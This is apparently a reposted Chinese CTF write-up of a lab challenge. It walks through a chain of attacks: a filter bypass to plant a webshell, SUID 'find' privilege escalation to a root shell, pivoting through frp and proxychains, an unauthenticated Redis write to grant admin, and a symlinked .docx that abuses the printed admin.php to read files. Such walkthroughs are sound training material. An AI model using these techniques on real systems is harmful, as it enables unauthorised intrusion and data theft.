翻斗幼儿园历险记-CTF-WP

news/2025/9/26 15:01:53/文章来源:https://www.cnblogs.com/sec-geek/p/19113507

翻斗幼儿园历险记

一、搭建:

docker-compose up -d 运行那个docker-compose.yml文件即可

image-20250327203752856

打开127.0.0.1:32777就运行好了

image-20250327204004316

2、打法

文件上传

image-20250327204028885

前端过滤,bp抓包改后缀即可

image-20250327204331766

image-20250327204744824

盲猜一波,上传的目录是/uploads下面

哥斯拉连上马后,发现没有权限

image-20250327205105208

提权看看

查找具有root权限的命令

find / -perm -u=s -type f 2>/dev/null

image-20250327205302057

发现find具有这个权限,就可以用find命令提权

find / -exec /bin/bash -p \;

提权后,发现nmd是个假flag

image-20250327212008847

这会大概猜到了是个内网题,frp搭个隧道看看

image-20250327212234408

启动下vps的服务端

image-20250327212522964

客户端给frpc权限

image-20250327213455651

客户端运行frp

image-20250327213040544

查一下ip

image-20250327213310901

配个代理就可以访问内网了

image-20250327213650259

router scan扫一下内网其他机器

image-20250327213710129

记得routescan配置代理

image-20250327213818071

扫到存活的机器了

image-20250327214014571

进去看一下

注册个号

image-20250327214115848

要我算一万次不可能

image-20250327214137804

看源码

image-20250327214204129

image-20250327214412747

image-20250327214440343

在admin.php里面

image-20250327214452851

艹了,要admin权限

访问一下

image-20250328134656303

但给的源码中有redis的文件,看下能不能redis未授权

内网题,得用proxychains设置我的vps代理打redis

给kali安装代理proxychains

sudo apt install proxychains

配置代理

sudo vim /etc/proxychains.conf

image-20250328132929192

给一个命令实现代理,只要在这个命令前面加上proxychains这个命令就好

proxychains redis-cli -h 172.11.0.3 -p 6379

成功连上内网的redis

image-20250328133402648

看见我的角色只是个noBody

image-20250328133446923

想办法把我的role角色写成admin

image-20250328133751184

set user:test eyJwYXNzd29yZCI6InRlc3QiLCJyb2xlIjoiYWRtaW4ifQ==

image-20250328133916574

这会拿test账号密码admin登录

image-20250328134739626

再访问admin.php

image-20250328134754794

这题考的就是个word文档上传

其实word文档本质上就是个压缩包,你用bandzizip都可以把它解压成几个文件

image-20250328135854456

审计一下admin.php

<?php
require_once 'common.php';
$user = getCurrentUser();#调用 getCurrentUser() 函数,获取当前用户的信息
if (!$user || $user['role'] !== 'admin') {header('HTTP/1.1 403 Forbidden');die('<h1 class="text-light">403 Forbidden - 权限不足</h1>');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {define('REL_FILENAME', 'word/_rels/document.xml.rels');#定义一个常量 REL_FILENAME,其值为 'word/_rels/document.xml.rels'。这是 Word 文档中存储文档关系(如图片引用关系)的文件路径。function hellYeah($code, $msg): void{http_response_code($code);die("<div class='neu-card'><div class='alert alert-danger'>$msg</div></div>");}if (!isset($_FILES['input'])) hellYeah(400, '请选择要上传的文件');if ($_FILES['input']['error'] !== UPLOAD_ERR_OK) hellYeah(500, '文件上传错误');if ($_FILES['input']['type'] != 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')#查文件类型是否为 .docx(通过 MIME 类型检查)。hellYeah(400, '请上传Word文档 (.docx)');$zip = new ZipArchive();#创建一个 ZipArchive 对象,用于处理 .docx 文件(因为 .docx 文件本质上是一个 ZIP 包)。$zipFilename = $_FILES['input']['tmp_name'];#获取临时文件名if ($zip->open($zipFilename) !== true || $zip->locateName(REL_FILENAME) === false)hellYeah(400, '无效的Word文档格式');#检查是否包含 word/_rels/document.xml.rels 文件,以验证是否为有效的 Word 文档$relsDom = simplexml_load_string($zip->getFromName(REL_FILENAME));#使用 simplexml_load_string 函数解析 document.xml.rels 文件的内容。if ($relsDom === false) hellYeah(400, '文档关系表解析失败');$tmpDir = exec("mktemp -d --tmpdir=/tmp");#使用 mktemp 命令创建一个临时目录(存储提取的图片)shell_exec("unzip $zipFilename \"word/media*\" -d \"$tmpDir\"");#使用 unzip 命令从 .docx 文件中提取 word/media 目录下的所有图片文件到临时目录function cleanup($tmpDir): void{shell_exec("rm -rf $tmpDir");}register_shutdown_function('cleanup', $tmpDir);@chdir("$tmpDir/word/media");#将当前工作目录切换到 word/media。ini_set('open_basedir', '.');#设置 open_basedir 限制,确保只能访问当前目录。$messages = [];foreach($relsDom->Relationship as $rel) {#遍历 document.xml.rels 文件中的 <Relationship> 元素。if($rel['Type'] == 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/image') {if (!str_starts_with($rel['Target'], 'media/'))#如果目标路径以 media/ 开头,提取文件名并读取文件内容。continue;$filename = substr($rel['Target'], 6);$file = @file_get_contents($filename);if ($file === false)break;if ($result = @base64_encode($file))$messages[] = $result;}}system("rm -rf $tmpDir");
}

这个的思路就是直接创建个docx文档,然后用bandizip解压

image-20250328164043231

接着把documengt.xml.rels文件改了,用php伪协议读文件

image-20250328164106398

image-20250328164143530

然后,再创建个软链接mdia指向根目录

image-20250328164310594

接着把所有文件打包成zip

image-20250328164335249

再把这个zip文件改为docx文档,上传即可

image-20250328164402994

总体思路就是,利用软链接把工作目录media目录指向根目录,因为题目会提取documengt.xml.rels文件里面的图片至media,还会解析,所以documengt.xml.rels文件里的图片改为php伪协议来读取flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/918426.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.net8+winform+Antdui 制作 LOL 小助手

.net8+winform+Antdui 制作 LOL 小助手 .net8+winform+Antdui 制作 LOL 小助手 一、事件起因 二、筹备工作 三、查看效果 四、后期拓展想法 一、事件起因 本人 lol 菜鸡一枚,最近天天玩排位模式,有时候自己分路有优势…

深入解析:【Git】Git 简介及基本操作

深入解析:【Git】Git 简介及基本操作pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mona…

hutool主要内容list

Hutool是一个小而全的Java工具类库,通过静态方法封装,降低相关API的学习成本,提高工作效率,使Java拥有函数式语言般的优雅 Hutool = Hu + tool,是原公司项目底层代码剥离后的开源库,“Hu”是公司名称的表示,too…

做图赚钱的网站有哪些中国能源建设集团有限公司是央企

QDomDocument类代表了一个XML文件 QDomDocument类代表整个的XML文件。概念上讲&#xff1a;它是文档树的根节点&#xff0c;并提供了文档数据的基本访问方法。由于元素、文本节点、注释、指令执行等等不可能脱离一个文档的上下文&#xff0c;所以文档类也包含了需要用来创建这些…

Kurt-Blender零基础教程:第2章:建模篇——第3节:陈列/父子级/蒙皮/置换修改器与小狐狸角色建模 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

网站建设的目标客户分析建做网站

使用 Yelp 数据集进行用户画像&#xff08;User Profiling&#xff09;是一项有趣的任务&#xff0c;可以理解用户的偏好、行为和特征。以下是总结的一个基本的步骤&#xff0c;帮助构建用户画像 pandas 加载数据&#xff1a; import pandas as pd# 加载数据 users pd.read_…

中职示范校建设专题网站如何建微网站

根本原因分析中的5WHY分析法是从下列哪几个层面实施的&#xff1f; A. 制造角度 B. 检验角度 C. 体系角度 D. 以上都是 数据分析认证考试介绍&#xff1a;点击进入 题目来源于CDA模拟题库 点击此处获取答案

20250916_QQ_Powershell

流量分析, 应急响应, WebShell, Powshell, XORTags:流量分析,应急响应,WebShell,Powshell,XOR 0x00. 题目 找出受攻击主机回连的IP地址和端口号 附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh…

完整教程:HTTP安全响应头--CSP(Content-Security-Policy)

完整教程:HTTP安全响应头--CSP(Content-Security-Policy)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Conso…

学习:uniapp全栈微信小程序vue3后台(26) - 指南

学习:uniapp全栈微信小程序vue3后台(26) - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas"…

HTML5介绍(HTML5特性、HTML5功能) - 指南

HTML5介绍(HTML5特性、HTML5功能) - 指南2025-09-26 14:50 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: blo…

Experiment1

Experiment 1 实验任务1 1.1 #include <stdio.h> int main() {printf(" O \n");printf("<H>\n");printf("I I\n");printf(" O \n");printf("<H>\n&qu…

读书笔记:Oracle 自动索引:让数据库自己管索引?

我们的文章会在微信公众号IT民工的龙马人生和博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢! 由于博客中有大量代码,通过页面浏览效果更佳。本文为个人学…

海安县建设局网站先备案还是先做网站

分类目录&#xff1a;《系统学习Python》总目录 文章《系统学习Python——装饰器&#xff1a;“私有“和“公有“属性案例-[实现私有属性]》中的代码有点复杂&#xff0c;并且你最好自己跟踪运行它&#xff0c;看看它是如何工作的。然而为了帮助你理解&#xff0c;这里给出一些…

1_2025.9.26_1

题目:[https://codeforces.com/problemset/problem/2140/E1] ac代码:[https://codeforces.com/contest/2140/submission/340570458] 思路:状压dp,因m<=2,n<=20,所以将状态压缩遍历,再根据题解给的式子写即…

故障处理:Oracle RAC集群CTSS时钟同步故障案例分析与解决

我们的文章会在微信公众号IT民工的龙马人生和博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢! 由于博客中有大量代码,通过页面浏览效果更佳。本案例来自一…

Linux系统提权-web/普通用户-docker逃逸提权shell交互

Linux系统提权-web/普通用户-docker逃逸&提权&shell交互 docker提权分几种情况 1、权限在docker里面逃逸 提权(宿主机) 2、权限不在docker里面借助docker应用去提权(用户归属是docker组 拉镜像 提权)参考链接h…

网站开发z亿玛酷1负责网页设计与制作策划书

目录 1.加载镜像并进入容器 2.安装依赖 3.在docker外部git-clone lcm 4.将get-clone的lcm复制到容器中 5.编译库 6.将可执行文件复制到容器中 7.进入可执行文件 8.编译可执行文件 9.再开一个终端运行程序 10.将以上容器打成镜像并导出 1.加载镜像并进入容器 sudo do…

PostgreSQL技术大讲堂 - 第106讲:分区表索引优化

PostgreSQL从入门到精通系列课程,100+节PG技术讲解,让你从小白一步步成长为独当一面的PG专业人员,点击这里查看章节内容,持续更新,欢迎加入。 第106讲:重讲分区表索引优化主要内容:1、全局索引与本地分区索引的…

AI智能体:从认知到实践

人工智能时代:时代的机遇和挑战。潮起AI Agent智能体到底是什么,为什么大家都在卷AI智能体1、什么是AI Agent智能体? 规划感知,决策,行动 ===》记忆 =》》大语言模型理解智能体,人工智能的本质是仿生技术,我们…